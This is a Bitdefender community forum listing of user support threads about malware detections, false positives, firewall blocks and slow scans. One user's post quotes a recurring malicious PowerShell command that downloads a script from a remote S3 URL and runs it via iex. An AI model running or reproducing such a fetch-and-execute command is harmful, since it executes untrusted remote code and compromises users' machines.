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Protection - Malware/ Firmware/etc.

Everything you want to know about our cybersecurity features for Windows. Here you'll find topics on Malware, Firmware, Online Threat Prevention, Vulnerability, Firewall, Ransomware Remediation, and Antispam.

New Device Detected - Popup
Please add the option to scan CD/DVD/ Flash Drives without the annoying Popup New Device Detected. As it is now if you do not disable the scan feature entirely you have no choice but to see the popup. My normal Bitdefender scan of the whole computer runs in the background silently so there is no reason that users should…
Bitdefender scan found this? How worried should i be?
How to handle the automatic scan of PCloud Drive
Hi there, Each time at startup my PCloud Cloud Storage Software mounts the Cloud under the Disk P:/ which gets automatically scanned from bitdefender. As this can take about an hour to complete and slows down my ressources by a lot I wanted to ask how do you guys handle this efficiently? I currently need to abort the scan…
Bitdefender keeps telling me to uninstall Kaspersky when its no longer available on my hard drive!
Why does the Bitdefender software keep telling me that I need to uninstall Kaspersky from my machine when the first thing I did before installing Bitdefender was remove the software from my computer? It's not even on my hard drive, and yet.. Bit Defender keeps telling me that I need to uninstall it… Oh, and another thing…
Desinfect or delete RegAsm.exe ?
Hi, It seems I have a RegAsm.exe in my Framework.NET that is infected. How can I disinfect or delete permanently the file ? Thank you.
Email Protection
how can I set email scanning?
Is it me only or the green ticks are not showing in edge/win10?
Hello, I am using bitdefender total security for quite a time now, and have the search advisor thing turned on. The green ticks come on firefox: but they dont on edge: I also saw this fix on web but it still doesnt solve the problem: Please help! TIA.
False Positive? C:\..\RCX61A8.tmp is infected with Trojan.GenericKD.73
I tried running pyinstaller so I can run my ****** on a windows PC without PY installed. Bitdefender blocks the execution with the error in the subject line. Is this a false positive?
Does Bitdefender not recognize the WSOD?
I was hit with the WSOD (White Screen of Death where W=white!). I did a system scan which says I'm safe. Hmmm, really?. So then I log in to Bitdefender and search for WSOD and guess what? There is not a single reference to WSOD but tons of BSOD (where B=blue!). So if Bitdefender is protecting me from malware and now I'm…
Unable to connect past firewall
Just installed Bitdefender Security. I need to run ab app that accesses a remote IP address and port via a Digi RealPort Device (multi port serial adapter). If I turn off Bitdef Firewall, able to access normally. With Firewall on, app is blocked. I added app to the Firewall Rules, Allow, Network Any, Protocol Any,…
Slow opening programs
I've seen various posts about Bitdefender causing their computer to be slow, but I haven't seen anyone with my specific problem. My issue is some program take 30 seconds to open. In some cases, it's only the first time I open them. After that, it's fine. The problem goes away if I turn off Shield. I also found the problem…
Every few days i get the same threat, that Bidfender then blocks
So, as the title says, every few days I get the same malicious command from powershell: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -UseBasicParsing -Uri https://wqyspjbmkoapqql.s3.amazonaws.com/reinstall-agent.ps1 | iex" What is this? How can I stop it from happening? Thanks
Malware Detected and "Neutralized" What is the Source? Potential False Positive?
Hello, I am extremely careful not to click on any odd links, not download anything suspicious, etc, etc. Have never ever had Bitdefender find any viruses, trojans, malware, etc on my machines. To my astonishment, Bitdefender recently found the following Trojan on my system: Trojan.GenericKD.73789160 Located in:…
How is it possible for a Bitdefender complete scan to show clear when it obviously was not ?
I Can't Access a Website. How Do I Make Bitdefender Stop Blocking Access?
I am trying to access a website (myseoauditor.com). When I try using the Brave browser, Bitdefender blocks the access, and I get this error: ERR_CONNECTION_CLOSED When I try using a different browser, it works. Why is this happening? Also, I've added the site to my online threat protection exceptions, but it still doesn't…
Visual Studio 2022 & C# Generates Gen:Variant.MSILHeracles.46462 Virus
I am just now learning C# in VS 2022 and when running a small program having to do with arrays Bitdefender detected and quarantined what it considers a virus. I suspect this is a false-positive, but I wanted to post this here just in case it isn't. Previous program examples ran without issue. I am looking for…
Does anyone knows this site?
Hello. I'm a Bitdefender Antivirus Free user. I use Honeygain, hoping that I'll gather some bucks. The Honeygain installed on my PC tried multiple times to access this address: https://tracking.tarsanmedia.in/ Bitdefender Antivirus Free saw it as a pishing page and blocked the attempts (until now there were around 15…
Bitdefender is blocking and detecting uTorrent as a threat
I've tried adding uTorrent.exe to exceptions and no luck, whenever I run the program it says "disinfection in progress" and "threat detected".
Advanced Threat Defense disabled
I have recently installed Bitdefender on 2 of my devices so far, having moved over from Kaspersky. For my desktop which runs Windows 7, I show a threat warning that Advanced Threat Defense is disabled. I clicked on "fix issue" but 2 days later, it is still showing as "Applying remote fix on your device'. I cannot figure…
Issues with BD locking up Keyboard after scan
I have been using BD now for over six years and never once have dealt with this issue before. Everytime my scan starts and I am not using my keyboard ( IE Watching movies/tv shows steaming) My Keyboard will no longer be responsive and I have to unplug and replug it back in. Same story when I get up in the morning and go to…
Was my computer hacked?
Just as I returned from vacation I found that my primary credit card was declined. It was still in my possession however it had been used in vancouver and in toronto only hours apart. According to the card company my user name , password, and phone no for the card had been changed. When I arrived home I found that I had…
BUG ALERT! MasterCook Sync on my PC does not work unless I uninstall BITDEFENDER
I put mastercook.exe and its sync app in the exceptions for the firewall, I'm not using the VPN. According to the MasterCook folk and the BitDefender articles, this should all those 2 apps to penetrate my firewall, I turned off my firewall, and it is still not working. I uninstall BITDEFENDER and the application works…
Trojan detected and then disappeared
A BD scan today flagged up trojan.heur.snakey.1.gen but hadn't taken any action. While I was researching it online the scan report and Notification just disappeared?? Another scan didn't flag it. I a little worried that BD may be compromised. I applied password control to changes in BD but e.g. the criteria for scanning…
I received a letter from a hacker. The sender is me. What should I do?
Details of the message from the hacker. [full message deleted by admin due to inappropriate language] Ask for opinions from experts I check for malware every week. Malware detected I immediately followed Bitdefender's instructions. Should I believe the lies? Because I don't see any evidence files. There are no photos. I…
Detecting Game As a threat
I've encountered an issue with the recently downloaded Delta Force Alpha game on my laptop. Despite adding the entire game folder as an exception in Bitdefender, the antivirus software continues to flag it as malicious during gameplay. Furthermore, after restoring the files, I'm unable to launch the game, forcing me to…
Suspicious connection blocked in chrome
Hello, I am stressing right now about something wierd to me that happened right now. I had on my chrome browser youtube video playing on one tab then on second twitter opened and on third page called u.gg used for leage of legends game. While watching the video and not doing anything else I got notification saying there is…
Unable to add an Exception via Advanced Threat Defense.
The button to allow you to Manage Exceptions from the Online Threat Prevention menu as per the screen grabs below is greyed out for me. I would like to be able to add a website to the whitelist which has an expired security certificate. I know that the site in question is Trusted as it is has been regularly used without…
adnxs.com - Malware or just a strange-named cookie?
Hello! Since I have set my browser settings to delete everything but my cookies after closing the browser, I manually delete certain cookies from time to time. Today a cookie caught my eye that I found a bit 'suspicious'. It's called adnxs.com. A search on the net revealed that there is a virus running under the same name…
Constant Suspicious connections from Chrome.
Constant suspicious connection blocked - Google Chrome. Just started up my PC after getting home from work. And whenever I opened chrome bitdefender spammed me with this: Feature: Online Threat Prevention chrome.exe attempted to establish a connection relying on an expired certificate to www.google.com. We blocked the…
Hello, I got this detection
Hello everyone, I got this detection and would like to know what else to do? C:\Users\(removed for privacy)1~1\AppData\Local\Temp\etmpBAECD872-6BFE-BC4A-B48D-97A5D7E190ED Trojan.Upatre.Crypted.2